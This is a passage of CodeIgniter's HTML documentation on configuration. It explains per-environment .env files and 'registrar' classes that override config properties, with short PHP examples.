<span class="nx">Config\SimpleConfig</span><span class="o">.</span><span class="nx">address</span><span class="o">.</span><span class="nx">city</span> <span class="o">=</span> <span class="s2">&quot;Berlin&quot;</span>
<span class="nx">address</span><span class="o">.</span><span class="nx">country</span> <span class="o">=</span> <span class="s2">&quot;Germany&quot;</span>
</pre></div>
</div>
</div>
<div class="section" id="handling-different-environments">
<h2><a class="toc-backref" href="#id10">Handling Different Environments</a><a class="headerlink" href="#handling-different-environments" title="Permalink to this headline">¶</a></h2>
<p>Configuring multiple environments is easily accomplished by using a separate <strong>.env</strong> file with values modified to meet that environment’s needs.</p>
<p>The file should not contain every possible setting for every configuration class used by the application. In truth, it should include only those items that are specific to the environment or are sensitive details like passwords and API keys and other information that should not be exposed. But anything that changes between deployments is fair-game.</p>
<p>In each environment, place the <strong>.env</strong> file in the project’s root folder. For most setups, this will be the same level as the <code class="docutils literal notranslate"><span class="pre">system</span></code> and <code class="docutils literal notranslate"><span class="pre">app</span></code> directories.</p>
<p>Do not track <strong>.env</strong> files with your version control system. If you do, and the repository is made public, you will have put sensitive information where everybody can find it.</p>
</div>
<div class="section" id="registrars">
<span id="id1"></span><h2><a class="toc-backref" href="#id11">Registrars</a><a class="headerlink" href="#registrars" title="Permalink to this headline">¶</a></h2>
<p>A configuration file can also specify any number of “registrars”, which are any
other classes which might provide additional configuration properties.
This is done by adding a <code class="docutils literal notranslate"><span class="pre">$registrars</span></code> property to your configuration file,
holding an array of the names of candidate registrars.:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="k">static</span> <span class="nv">$registrars</span> <span class="o">=</span> <span class="p">[</span>
    <span class="nx">SupportingPackageRegistrar</span><span class="o">::</span><span class="na">class</span>
<span class="p">];</span>
</pre></div>
</div>
<p>In order to act as a “registrar” the classes so identified must have a
static function with the same name as the configuration class, and it should return an associative
array of property settings.</p>
<p>When your configuration object is instantiated, it will loop over the
designated classes in <code class="docutils literal notranslate"><span class="pre">$registrars</span></code>. For each of these classes it will invoke
the method named for the configuration class and incorporate any returned properties.</p>
<p>A sample configuration class setup for this:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span>

<span class="k">namespace</span> <span class="nx">App\Config</span><span class="p">;</span>

<span class="k">use</span> <span class="nx">CodeIgniter\Config\BaseConfig</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">MySalesConfig</span> <span class="k">extends</span> <span class="nx">BaseConfig</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="nv">$target</span>            <span class="o">=</span> <span class="mi">100</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$campaign</span>          <span class="o">=</span> <span class="s2">&quot;Winter Wonderland&quot;</span><span class="p">;</span>
    <span class="k">public</span> <span class="k">static</span> <span class="nv">$registrars</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s1">&#39;\App\Models\RegionalSales&#39;</span>
    <span class="p">];</span>
<span class="p">}</span>
</pre></div>
</div>
<p>… and the associated regional sales model might look like:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span>

<span class="k">namespace</span> <span class="nx">App\Models</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">RegionalSales</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="nf">MySalesConfig</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span>
            <span class="s1">&#39;target&#39;</span> <span class="o">=&gt;</span> <span class="mi">45</span><span class="p">,</span>
            <span class="s1">&#39;actual&#39;</span> <span class="o">=&gt;</span> <span class="mi">72</span><span class="p">,</span>
        <span class="p">];</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></div>
</div>
<p>With the above example, when <code class="docutils literal notranslate"><span class="pre">MySalesConfig</span></code> is instantiated, it will end up with
the two properties declared, but the value of the <code class="docutils literal notranslate"><span class="pre">$target</span></code> property will be overridden
by treating <code class="docutils literal notranslate"><span class="pre">RegionalSales</span></code> as a “registrar”. The resulting configuration properties:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$target</span>   <span class="o">=</span> <span class="mi">45</span><span class="p">;</span>
<span class="nv">$campaign</span> <span class="o">=</span> <span class="s2">&quot;Winter Wonderland&quot;</span><span class="p">;</span>
</pre></div>
</div>
<p>In addition to explicit registrars defined by the <code class="docutils literal notranslate"><span class="pre">$registrars</span></code> property, you may also
define registrars in any namespace using the <strong>Config/Registrars.php</strong> file, if discovery
is enabled in <a class="reference internal" href="modules.html"><span class="doc">Modules</span></a>. These files work the same as the classes
described above, using methods named for each configuration class you wish to extend.</p>
</div>
</div>


           </div>
           
          </div>
          <footer>
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
        <a href="urls.html" class="btn btn-neutral float-right" title="CodeIgniter URLs" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a>
        <a href="index.html" class="btn btn-neutral float-left" title="General Topics" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a>
    </div>

  <hr/>

  <div role="contentinfo">
    <p>
        &#169; Copyright 2019-2021 CodeIgniter Foundation.
      <span class="lastupdated">
        Last updated on Feb 01, 2021.
      </span>

    </p>
  </div>
    
    
    
    Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a
    
    <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a>
    
    provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>
        </div>
      </div>

    </section>

  </div>
  

  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.Navigation.enable(false);
      });
  </script>

  
  
    
   

</body>
</html>